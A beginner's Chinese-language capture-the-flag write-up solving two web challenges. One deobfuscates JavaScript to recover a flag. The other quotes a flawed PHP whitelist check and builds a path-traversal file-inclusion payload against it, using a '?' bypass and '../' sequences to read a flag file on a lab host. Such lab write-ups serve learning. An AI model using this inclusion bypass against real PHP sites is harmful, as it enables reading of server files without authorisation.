CTF-Web
Web攻防世界
前期在bilibili学习Web知识、基本漏洞原理、burp、正则表达式的用法…(菜鸟第十天)
NaNNaNNaNNaN-Batman
本题下载附件,发现不存在文件后缀,用记事本打开,为乱码,根据eval()函数,判断其为js代码,使用 script | /scirpt 标签
修改猴嘴名为html,用浏览器打开
发现还是乱码…故在eval()函数前使用alert()函数将其输出
下面展示一些 修改的点
。
<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]);.splice(0,1)}}} \'<input id="c">< onclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)!=null=[" write(s[o%4]buttonif(e.ment';
for(Y in $=' ')with(_.split($[Y]))_=join(pop());
alert(_);
eval(_)</script>
将代码复制去vscode进行整理,标签设置为script
<script>
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e"];
var n=["a","_h0l","n"];
var r=["g","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0 ; o<13 ; ++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)
}
}
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _
</script>
使用了正则表达式,判断出e的规则为:长度必须为16字节,开头必须为be0f23,结尾必须为e98aa,且必须包含233ac,c7be9,所以构造
e=be0f233ac7be98aa
在输入框输入be0f233ac7be98aa即可得到flag
warmup
题目打开显示一张图片,暂时没有什么头绪,查看源码
发现图片注释存在一个php文件,尝试访问
发现其暴露出php源码,其中还有一个hint.php,尝试访问
下面是一些 代码分析
。
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) { //page被定义且是字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //page包含source.php或者hint.php
return true;
}
$_page = mb_substr( //page包含一个?
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) { //page包含source.php或者hint.php
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //确定参数名为file
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
所以构造payload:
http://220.249.52.133:46557/source.php?file=hint.php?/…/…/…/…/…/…/ffffllllaaaagggg
或者
http://220.249.52.133:46557/source.php?file=source.php?/…/…/…/…/…/…/ffffllllaaaagggg
得到flag
总结
两题都采用了代码审计来建立Payload,js、php需要学好!